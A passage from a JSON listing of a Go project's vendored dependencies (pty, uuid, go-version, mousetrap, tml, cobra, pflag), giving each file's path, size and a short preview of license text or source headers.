    "preview": "Copyright (c) 2011 Keith Rarick\n\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this so"
  },
  {
    "path": "vendor/github.com/creack/pty/README.md",
    "chars": 2321,
    "preview": "# pty\n\nPty is a Go package for using unix pseudo-terminals.\n\n## Install\n\n```sh\ngo get github.com/creack/pty\n```\n\n## Exam"
  },
  {
    "path": "vendor/github.com/creack/pty/asm_solaris_amd64.s",
    "chars": 431,
    "preview": "// Copyright 2014 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/creack/pty/doc.go",
    "chars": 348,
    "preview": "// Package pty provides functions for working with Unix terminals.\npackage pty\n\nimport (\n\t\"errors\"\n\t\"os\"\n)\n\n// ErrUnsupp"
  },
  {
    "path": "vendor/github.com/creack/pty/ioctl.go",
    "chars": 325,
    "preview": "//go:build !windows && !solaris && !aix\n// +build !windows,!solaris,!aix\n\npackage pty\n\nimport \"syscall\"\n\nconst (\n\tTIOCGW"
  },
  {
    "path": "vendor/github.com/creack/pty/ioctl_bsd.go",
    "chars": 1166,
    "preview": "//go:build darwin || dragonfly || freebsd || netbsd || openbsd\n// +build darwin dragonfly freebsd netbsd openbsd\n\npackag"
  },
  {
    "path": "vendor/github.com/creack/pty/ioctl_solaris.go",
    "chars": 1090,
    "preview": "//go:build solaris\n// +build solaris\n\npackage pty\n\nimport (\n\t\"syscall\"\n\t\"unsafe\"\n)\n\n//go:cgo_import_dynamic libc_ioctl i"
  },
  {
    "path": "vendor/github.com/creack/pty/ioctl_unsupported.go",
    "chars": 152,
    "preview": "//go:build aix\n// +build aix\n\npackage pty\n\nconst (\n\tTIOCGWINSZ = 0\n\tTIOCSWINSZ = 0\n)\n\nfunc ioctl(fd, cmd, ptr uintptr) e"
  },
  {
    "path": "vendor/github.com/creack/pty/mktypes.bash",
    "chars": 336,
    "preview": "#!/usr/bin/env bash\n\nGOOSARCH=\"${GOOS}_${GOARCH}\"\ncase \"$GOOSARCH\" in\n_* | *_ | _)\n\techo 'undefined $GOOS_$GOARCH:' \"$GO"
  },
  {
    "path": "vendor/github.com/creack/pty/pty_darwin.go",
    "chars": 1296,
    "preview": "//go:build darwin\n// +build darwin\n\npackage pty\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc open() (pty, tty "
  },
  {
    "path": "vendor/github.com/creack/pty/pty_dragonfly.go",
    "chars": 1623,
    "preview": "//go:build dragonfly\n// +build dragonfly\n\npackage pty\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"strings\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\n// sa"
  },
  {
    "path": "vendor/github.com/creack/pty/pty_freebsd.go",
    "chars": 1578,
    "preview": "//go:build freebsd\n// +build freebsd\n\npackage pty\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc posixOpenpt(ofl"
  },
  {
    "path": "vendor/github.com/creack/pty/pty_linux.go",
    "chars": 1207,
    "preview": "//go:build linux\n// +build linux\n\npackage pty\n\nimport (\n\t\"os\"\n\t\"strconv\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc open() (pty, tty *"
  },
  {
    "path": "vendor/github.com/creack/pty/pty_netbsd.go",
    "chars": 1419,
    "preview": "//go:build netbsd\n// +build netbsd\n\npackage pty\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc open() (pty, tty "
  },
  {
    "path": "vendor/github.com/creack/pty/pty_openbsd.go",
    "chars": 811,
    "preview": "//go:build openbsd\n// +build openbsd\n\npackage pty\n\nimport (\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc open() (pty, tty *os.File"
  },
  {
    "path": "vendor/github.com/creack/pty/pty_solaris.go",
    "chars": 3350,
    "preview": "//go:build solaris\n// +build solaris\n\npackage pty\n\n/* based on:\nhttp://src.illumos.org/source/xref/illumos-gate/usr/src/"
  },
  {
    "path": "vendor/github.com/creack/pty/pty_unsupported.go",
    "chars": 273,
    "preview": "//go:build !linux && !darwin && !freebsd && !dragonfly && !netbsd && !openbsd && !solaris\n// +build !linux,!darwin,!free"
  },
  {
    "path": "vendor/github.com/creack/pty/run.go",
    "chars": 1428,
    "preview": "package pty\n\nimport (\n\t\"os\"\n\t\"os/exec\"\n\t\"syscall\"\n)\n\n// Start assigns a pseudo-terminal tty os.File to c.Stdin, c.Stdout"
  },
  {
    "path": "vendor/github.com/creack/pty/start.go",
    "chars": 670,
    "preview": "//go:build !windows\n// +build !windows\n\npackage pty\n\nimport (\n\t\"os\"\n\t\"os/exec\"\n\t\"syscall\"\n)\n\n// StartWithSize assigns a "
  },
  {
    "path": "vendor/github.com/creack/pty/start_windows.go",
    "chars": 498,
    "preview": "//go:build windows\n// +build windows\n\npackage pty\n\nimport (\n\t\"os\"\n\t\"os/exec\"\n)\n\n// StartWithSize assigns a pseudo-termin"
  },
  {
    "path": "vendor/github.com/creack/pty/test_crosscompile.sh",
    "chars": 2062,
    "preview": "#!/usr/bin/env sh\n\n# Test script checking that all expected os/arch compile properly.\n# Does not actually test the logic"
  },
  {
    "path": "vendor/github.com/creack/pty/winsize.go",
    "chars": 681,
    "preview": "package pty\n\nimport \"os\"\n\n// InheritSize applies the terminal size of pty to tty. This should be run\n// in a signal hand"
  },
  {
    "path": "vendor/github.com/creack/pty/winsize_unix.go",
    "chars": 879,
    "preview": "//go:build !windows\n// +build !windows\n\npackage pty\n\nimport (\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\n// Winsize describes the ter"
  },
  {
    "path": "vendor/github.com/creack/pty/winsize_unsupported.go",
    "chars": 426,
    "preview": "//go:build windows\n// +build windows\n\npackage pty\n\nimport (\n\t\"os\"\n)\n\n// Winsize is a dummy struct to enable compilation "
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_386.go",
    "chars": 148,
    "preview": "//go:build 386\n// +build 386\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t_C_i"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_amd64.go",
    "chars": 152,
    "preview": "//go:build amd64\n// +build amd64\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_arm.go",
    "chars": 148,
    "preview": "//go:build arm\n// +build arm\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t_C_i"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_arm64.go",
    "chars": 152,
    "preview": "//go:build arm64\n// +build arm64\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_dragonfly_amd64.go",
    "chars": 262,
    "preview": "//go:build amd64 && dragonfly\n// +build amd64,dragonfly\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types_dr"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_freebsd_386.go",
    "chars": 220,
    "preview": "//go:build 386 && freebsd\n// +build 386,freebsd\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types_freebsd.go"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_freebsd_amd64.go",
    "chars": 255,
    "preview": "//go:build amd64 && freebsd\n// +build amd64,freebsd\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types_freebs"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_freebsd_arm.go",
    "chars": 220,
    "preview": "//go:build arm && freebsd\n// +build arm,freebsd\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types_freebsd.go"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_freebsd_arm64.go",
    "chars": 235,
    "preview": "//go:build arm64 && freebsd\n// +build arm64,freebsd\n\n// Code generated by cmd/cgo -godefs; DO NOT EDIT.\n// cgo -godefs t"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_freebsd_ppc64.go",
    "chars": 202,
    "preview": "// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types_freebsd.go\n\npackage pty\n\nconst (\n\t_C_SPECNAMELEN = 0x3f\n)\n\n"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_loong64.go",
    "chars": 156,
    "preview": "//go:build loong64\n// +build loong64\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_mipsx.go",
    "chars": 232,
    "preview": "//go:build (mips || mipsle || mips64 || mips64le) && linux\n// +build mips mipsle mips64 mips64le\n// +build linux\n\n// Cre"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_netbsd_32bit_int.go",
    "chars": 263,
    "preview": "//go:build (386 || amd64 || arm || arm64) && netbsd\n// +build 386 amd64 arm arm64\n// +build netbsd\n\npackage pty\n\ntype pt"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_openbsd_32bit_int.go",
    "chars": 236,
    "preview": "//go:build (386 || amd64 || arm || arm64 || mips64) && openbsd\n// +build 386 amd64 arm arm64 mips64\n// +build openbsd\n\np"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_ppc64.go",
    "chars": 152,
    "preview": "//go:build ppc64\n// +build ppc64\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_ppc64le.go",
    "chars": 156,
    "preview": "//go:build ppc64le\n// +build ppc64le\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_riscvx.go",
    "chars": 182,
    "preview": "//go:build riscv || riscv64\n// +build riscv riscv64\n\n// Code generated by cmd/cgo -godefs; DO NOT EDIT.\n// cgo -godefs t"
  },
  {
    "path": "vendor/github.com/creack/pty/ztypes_s390x.go",
    "chars": 152,
    "preview": "//go:build s390x\n// +build s390x\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t"
  },
  {
    "path": "vendor/github.com/google/uuid/.travis.yml",
    "chars": 76,
    "preview": "language: go\n\ngo:\n  - 1.4.3\n  - 1.5.3\n  - tip\n\nscript:\n  - go test -v ./...\n"
  },
  {
    "path": "vendor/github.com/google/uuid/CONTRIBUTING.md",
    "chars": 312,
    "preview": "# How to contribute\n\nWe definitely welcome patches and contribution to this project!\n\n### Legal requirements\n\nIn order t"
  },
  {
    "path": "vendor/github.com/google/uuid/CONTRIBUTORS",
    "chars": 105,
    "preview": "Paul Borman <borman@google.com>\nbmatsuo\nshawnps\ntheory\njboverfelt\ndsymonds\ncd1\nwallclockbuilder\ndansouza\n"
  },
  {
    "path": "vendor/github.com/google/uuid/LICENSE",
    "chars": 1480,
    "preview": "Copyright (c) 2009,2014 Google Inc. All rights reserved.\n\nRedistribution and use in source and binary forms, with or wit"
  },
  {
    "path": "vendor/github.com/google/uuid/README.md",
    "chars": 880,
    "preview": "# uuid ![build status](https://travis-ci.org/google/uuid.svg?branch=master)\nThe uuid package generates and inspects UUID"
  },
  {
    "path": "vendor/github.com/google/uuid/dce.go",
    "chars": 2072,
    "preview": "// Copyright 2016 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/doc.go",
    "chars": 407,
    "preview": "// Copyright 2016 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/hash.go",
    "chars": 1756,
    "preview": "// Copyright 2016 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/marshal.go",
    "chars": 907,
    "preview": "// Copyright 2016 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/node.go",
    "chars": 2323,
    "preview": "// Copyright 2016 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/node_js.go",
    "chars": 499,
    "preview": "// Copyright 2017 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/node_net.go",
    "chars": 949,
    "preview": "// Copyright 2017 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/null.go",
    "chars": 2461,
    "preview": "// Copyright 2021 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/sql.go",
    "chars": 1459,
    "preview": "// Copyright 2016 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/time.go",
    "chars": 3509,
    "preview": "// Copyright 2016 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/util.go",
    "chars": 1920,
    "preview": "// Copyright 2016 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/uuid.go",
    "chars": 7712,
    "preview": "// Copyright 2018 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/version1.go",
    "chars": 1257,
    "preview": "// Copyright 2016 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/google/uuid/version4.go",
    "chars": 2054,
    "preview": "// Copyright 2016 Google Inc.  All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
  },
  {
    "path": "vendor/github.com/hashicorp/go-version/CHANGELOG.md",
    "chars": 998,
    "preview": "# 1.4.0 (January 5, 2022)\n\nFEATURES:\n\n - Introduce `MustConstraints()` ([#87](https://github.com/hashicorp/go-version/pu"
  },
  {
    "path": "vendor/github.com/hashicorp/go-version/LICENSE",
    "chars": 15885,
    "preview": "Mozilla Public License, version 2.0\n\n1. Definitions\n\n1.1. “Contributor”\n\n     means each individual or legal entity that"
  },
  {
    "path": "vendor/github.com/hashicorp/go-version/README.md",
    "chars": 1932,
    "preview": "# Versioning Library for Go\n[![Build Status](https://circleci.com/gh/hashicorp/go-version/tree/main.svg?style=svg)](http"
  },
  {
    "path": "vendor/github.com/hashicorp/go-version/constraint.go",
    "chars": 7157,
    "preview": "package version\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"sort\"\n\t\"strings\"\n)\n\n// Constraint represents a single constraint"
  },
  {
    "path": "vendor/github.com/hashicorp/go-version/version.go",
    "chars": 10389,
    "preview": "package version\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// The compiled regular expressi"
  },
  {
    "path": "vendor/github.com/hashicorp/go-version/version_collection.go",
    "chars": 336,
    "preview": "package version\n\n// Collection is a type that implements the sort.Interface interface\n// so that versions can be sorted."
  },
  {
    "path": "vendor/github.com/inconshreveable/mousetrap/LICENSE",
    "chars": 551,
    "preview": "Copyright 2014 Alan Shreve\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file ex"
  },
  {
    "path": "vendor/github.com/inconshreveable/mousetrap/README.md",
    "chars": 848,
    "preview": "# mousetrap\n\nmousetrap is a tiny library that answers a single question.\n\nOn a Windows machine, was the process invoked "
  },
  {
    "path": "vendor/github.com/inconshreveable/mousetrap/trap_others.go",
    "chars": 483,
    "preview": "// +build !windows\n\npackage mousetrap\n\n// StartedByExplorer returns true if the program was invoked by the user\n// doubl"
  },
  {
    "path": "vendor/github.com/inconshreveable/mousetrap/trap_windows.go",
    "chars": 2393,
    "preview": "// +build windows\n// +build !go1.4\n\npackage mousetrap\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nconst (\n\t// defined"
  },
  {
    "path": "vendor/github.com/inconshreveable/mousetrap/trap_windows_1.4.go",
    "chars": 1185,
    "preview": "// +build windows\n// +build go1.4\n\npackage mousetrap\n\nimport (\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc getProcessEntry(pid in"
  },
  {
    "path": "vendor/github.com/liamg/tml/.gitignore",
    "chars": 12,
    "preview": "bin\n.vscode\n"
  },
  {
    "path": "vendor/github.com/liamg/tml/.travis.yml",
    "chars": 988,
    "preview": "language: go\ngo:\n- master\nenv:\n  - GO111MODULE=on\nscript:\n- make build-travis\ndeploy:\n  - provider: releases\n    skip_cl"
  },
  {
    "path": "vendor/github.com/liamg/tml/LICENSE",
    "chars": 1212,
    "preview": "\nThis is free and unencumbered software released into the public domain.\n\nAnyone is free to copy, modify, publish, use, "
  },
  {
    "path": "vendor/github.com/liamg/tml/Makefile",
    "chars": 474,
    "preview": "\ndefault: build\n\nbuild: test\n\tmkdir -p bin\n\tgo build ./tml/ -o bin/tml \n\nbuild-travis: test\n\tmkdir -p bin/linux-amd64/tm"
  },
  {
    "path": "vendor/github.com/liamg/tml/README.md",
    "chars": 1874,
    "preview": "# tml - Terminal Markup Language\n\n[![Build Status](https://travis-ci.org/liamg/tml.svg \"Travis CI status\")](https://trav"
  },
  {
    "path": "vendor/github.com/liamg/tml/disable.go",
    "chars": 307,
    "preview": "package tml\n\nimport \"sync\"\n\nvar disableFormatting bool\nvar formattingLock sync.RWMutex\n\nfunc DisableFormatting() {\n\tform"
  },
  {
    "path": "vendor/github.com/liamg/tml/new_line.go",
    "chars": 109,
    "preview": "package tml\n\n// NewLine prints a new line to the terminal with no content\nfunc NewLine() {\n    Println(\"\")\n}\n"
  },
  {
    "path": "vendor/github.com/liamg/tml/parse.go",
    "chars": 388,
    "preview": "package tml\n\nimport (\n\t\"strings\"\n\t\"bytes\"\n)\n\n// Parse converts the input string (containing TML tags) into a string cont"
  },
  {
    "path": "vendor/github.com/liamg/tml/parser.go",
    "chars": 3457,
    "preview": "package tml\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n)\n\n// Parser is used to parse a TML string into an output string containin"
  },
  {
    "path": "vendor/github.com/liamg/tml/printf.go",
    "chars": 554,
    "preview": "package tml\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n)\n\n// Printf works like fmt.Printf, but adds the option of using tags to apply "
  },
  {
    "path": "vendor/github.com/liamg/tml/println.go",
    "chars": 405,
    "preview": "package tml\n\nimport (\n\t\"io\"\n\t\"os\"\n)\n\n// Println works like fmt.Println, but adds the option of using tags to apply colou"
  },
  {
    "path": "vendor/github.com/liamg/tml/sprintf.go",
    "chars": 454,
    "preview": "package tml\n\nimport \"fmt\"\n\n// Sprintf works like fmt.Sprintf, but adds the option of using tags to apply colour or text "
  },
  {
    "path": "vendor/github.com/liamg/tml/tags.go",
    "chars": 1253,
    "preview": "package tml\n\nvar fgTags = map[string]string{\n\t\"red\":          \"\\x1b[31m\",\n\t\"green\":        \"\\x1b[32m\",\n\t\"yellow\":       "
  },
  {
    "path": "vendor/github.com/spf13/cobra/.gitignore",
    "chars": 484,
    "preview": "# Compiled Object files, Static and Dynamic libs (Shared Objects)\n*.o\n*.a\n*.so\n\n# Folders\n_obj\n_test\n\n# Architecture spe"
  },
  {
    "path": "vendor/github.com/spf13/cobra/.golangci.yml",
    "chars": 720,
    "preview": "run:\n  deadline: 5m\n\nlinters:\n  disable-all: true\n  enable:\n    #- bodyclose\n    - deadcode\n    #- depguard\n    #- dogsl"
  },
  {
    "path": "vendor/github.com/spf13/cobra/.mailmap",
    "chars": 171,
    "preview": "Steve Francia <steve.francia@gmail.com>\nBjørn Erik Pedersen <bjorn.erik.pedersen@gmail.com>\nFabiano Franz <ffranz@redhat"
  },
  {
    "path": "vendor/github.com/spf13/cobra/CONDUCT.md",
    "chars": 3122,
    "preview": "## Cobra User Contract\n\n### Versioning\nCobra will follow a steady release cadence. Non breaking changes will be released"
  },
  {
    "path": "vendor/github.com/spf13/cobra/CONTRIBUTING.md",
    "chars": 2097,
    "preview": "# Contributing to Cobra\n\nThank you so much for contributing to Cobra. We appreciate your time and help.\nHere are some gu"
  },
  {
    "path": "vendor/github.com/spf13/cobra/LICENSE.txt",
    "chars": 10140,
    "preview": "                                Apache License\n                           Version 2.0, January 2004\n                    "
  },
  {
    "path": "vendor/github.com/spf13/cobra/MAINTAINERS",
    "chars": 137,
    "preview": "maintainers:\n- spf13\n- johnSchnake\n- jpmcb\n- marckhouzam\ninactive:\n- anthonyfok\n- bep\n- bogem\n- broady\n- eparis\n- jharsh"
  },
  {
    "path": "vendor/github.com/spf13/cobra/Makefile",
    "chars": 903,
    "preview": "BIN=\"./bin\"\nSRC=$(shell find . -name \"*.go\")\n\nifeq (, $(shell which golangci-lint))\n$(warning \"could not find golangci-l"
  },
  {
    "path": "vendor/github.com/spf13/cobra/README.md",
    "chars": 4356,
    "preview": "![cobra logo](https://cloud.githubusercontent.com/assets/173412/10886352/ad566232-814f-11e5-9cd0-aa101788c117.png)\n\nCobr"
  },
  {
    "path": "vendor/github.com/spf13/cobra/active_help.go",
    "chars": 2099,
    "preview": "package cobra\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n)\n\nconst (\n\tactiveHelpMarker = \"_activeHelp_ \"\n\t// The below values shou"
  },
  {
    "path": "vendor/github.com/spf13/cobra/active_help.md",
    "chars": 8550,
    "preview": "# Active Help\n\nActive Help is a framework provided by Cobra which allows a program to define messages (hints, warnings, "
  },
  {
    "path": "vendor/github.com/spf13/cobra/args.go",
    "chars": 3481,
    "preview": "package cobra\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\ntype PositionalArgs func(cmd *Command, args []string) error\n\n// Legacy arg "
  },
  {
    "path": "vendor/github.com/spf13/cobra/bash_completions.go",
    "chars": 22424,
    "preview": "package cobra\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/spf13/pflag\"\n)\n\n// Annotations for "
  },
  {
    "path": "vendor/github.com/spf13/cobra/bash_completions.md",
    "chars": 3805,
    "preview": "# Generating Bash Completions For Your cobra.Command\n\nPlease refer to [Shell Completions](shell_completions.md) for deta"
  },
  {
    "path": "vendor/github.com/spf13/cobra/bash_completionsV2.go",
    "chars": 12290,
    "preview": "package cobra\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n)\n\nfunc (c *Command) genBashCompletion(w io.Writer, includeDesc bool"
  },
  {
    "path": "vendor/github.com/spf13/cobra/cobra.go",
    "chars": 6736,
    "preview": "// Copyright © 2013 Steve Francia <spf@spf13.com>.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");"
  },
  {
    "path": "vendor/github.com/spf13/cobra/command.go",
    "chars": 48844,
    "preview": "// Copyright © 2013 Steve Francia <spf@spf13.com>.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");"
  },
  {
    "path": "vendor/github.com/spf13/cobra/command_notwin.go",
    "chars": 88,
    "preview": "//go:build !windows\n// +build !windows\n\npackage cobra\n\nvar preExecHookFn func(*Command)\n"
  },
  {
    "path": "vendor/github.com/spf13/cobra/command_win.go",
    "chars": 452,
    "preview": "//go:build windows\n// +build windows\n\npackage cobra\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/inconshreveable/mousetr"
  },
  {
    "path": "vendor/github.com/spf13/cobra/completions.go",
    "chars": 31360,
    "preview": "package cobra\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/spf13/pflag\"\n)\n\nconst (\n\t// ShellCompRequestCmd is"
  },
  {
    "path": "vendor/github.com/spf13/cobra/fish_completions.go",
    "chars": 8225,
    "preview": "package cobra\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"strings\"\n)\n\nfunc genFishComp(buf io.StringWriter, name string, inc"
  },
  {
    "path": "vendor/github.com/spf13/cobra/fish_completions.md",
    "chars": 127,
    "preview": "## Generating Fish Completions For Your cobra.Command\n\nPlease refer to [Shell Completions](shell_completions.md) for det"
  },
  {
    "path": "vendor/github.com/spf13/cobra/flag_groups.go",
    "chars": 7199,
    "preview": "// Copyright © 2022 Steve Francia <spf@spf13.com>.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");"
  },
  {
    "path": "vendor/github.com/spf13/cobra/powershell_completions.go",
    "chars": 10808,
    "preview": "// The generated scripts require PowerShell v5.0+ (which comes Windows 10, but\n// can be downloaded separately for windo"
  },
  {
    "path": "vendor/github.com/spf13/cobra/powershell_completions.md",
    "chars": 158,
    "preview": "# Generating PowerShell Completions For Your Own cobra.Command\n\nPlease refer to [Shell Completions](shell_completions.md"
  },
  {
    "path": "vendor/github.com/spf13/cobra/projects_using_cobra.md",
    "chars": 2639,
    "preview": "## Projects using Cobra\n\n- [Arduino CLI](https://github.com/arduino/arduino-cli)\n- [Bleve](https://blevesearch.com/)\n- ["
  },
  {
    "path": "vendor/github.com/spf13/cobra/shell_completions.go",
    "chars": 3748,
    "preview": "package cobra\n\nimport (\n\t\"github.com/spf13/pflag\"\n)\n\n// MarkFlagRequired instructs the various shell completion implemen"
  },
  {
    "path": "vendor/github.com/spf13/cobra/shell_completions.md",
    "chars": 24748,
    "preview": "# Generating shell completions\n\nCobra can generate shell completions for multiple shells.\nThe currently supported shells"
  },
  {
    "path": "vendor/github.com/spf13/cobra/user_guide.md",
    "chars": 20417,
    "preview": "# User Guide\n\nWhile you are welcome to provide your own organization, typically a Cobra-based\napplication will follow th"
  },
  {
    "path": "vendor/github.com/spf13/cobra/zsh_completions.go",
    "chars": 10158,
    "preview": "package cobra\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n)\n\n// GenZshCompletionFile generates zsh completion file including d"
  },
  {
    "path": "vendor/github.com/spf13/cobra/zsh_completions.md",
    "chars": 3647,
    "preview": "## Generating Zsh Completion For Your cobra.Command\n\nPlease refer to [Shell Completions](shell_completions.md) for detai"
  },
  {
    "path": "vendor/github.com/spf13/pflag/.gitignore",
    "chars": 9,
    "preview": ".idea/*\n\n"
  },
  {
    "path": "vendor/github.com/spf13/pflag/.travis.yml",
    "chars": 261,
    "preview": "sudo: false\n\nlanguage: go\n\ngo:\n  - 1.9.x\n  - 1.10.x\n  - 1.11.x\n  - tip\n\nmatrix:\n  allow_failures:\n    - go: tip\n\ninstall"
  },
  {
    "path": "vendor/github.com/spf13/pflag/LICENSE",
    "chars": 1531,
    "preview": "Copyright (c) 2012 Alex Ogier. All rights reserved.\nCopyright (c) 2012 The Go Authors. All rights reserved.\n\nRedistribut"
  },
  {
    "path": "vendor/github.com/spf13/pflag/README.md",
    "chars": 9774,
    "preview": "[![Build Status](https://travis-ci.org/spf13/pflag.svg?branch=master)](https://travis-ci.org/spf13/pflag)\n[![Go Report C"
  },
  {
    "path": "vendor/github.com/spf13/pflag/bool.go",
    "chars": 3072,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// optional interface to indicate boolean flags that can be\n// supplied without \"=value"
  },
  {
    "path": "vendor/github.com/spf13/pflag/bool_slice.go",
    "chars": 5321,
    "preview": "package pflag\n\nimport (\n\t\"io\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- boolSlice Value\ntype boolSliceValue struct {\n\tvalue   *[]bo"
  },
  {
    "path": "vendor/github.com/spf13/pflag/bytes.go",
    "chars": 7169,
    "preview": "package pflag\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"strings\"\n)\n\n// BytesHex adapts []byte for use as a f"
  },
  {
    "path": "vendor/github.com/spf13/pflag/count.go",
    "chars": 2963,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- count Value\ntype countValue int\n\nfunc newCountValue(val int, p *int) *countValue "
  },
  {
    "path": "vendor/github.com/spf13/pflag/duration.go",
    "chars": 3317,
    "preview": "package pflag\n\nimport (\n\t\"time\"\n)\n\n// -- time.Duration Value\ntype durationValue time.Duration\n\nfunc newDurationValue(val"
  },
  {
    "path": "vendor/github.com/spf13/pflag/duration_slice.go",
    "chars": 5131,
    "preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"time\"\n)\n\n// -- durationSlice Value\ntype durationSliceValue struct {\n\tvalue  "
  },
  {
    "path": "vendor/github.com/spf13/pflag/flag.go",
    "chars": 36337,
    "preview": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/spf13/pflag/float32.go",
    "chars": 3168,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- float32 Value\ntype float32Value float32\n\nfunc newFloat32Value(val float32, p *flo"
  },
  {
    "path": "vendor/github.com/spf13/pflag/float32_slice.go",
    "chars": 5042,
    "preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- float32Slice Value\ntype float32SliceValue struct {\n\tvalue "
  },
  {
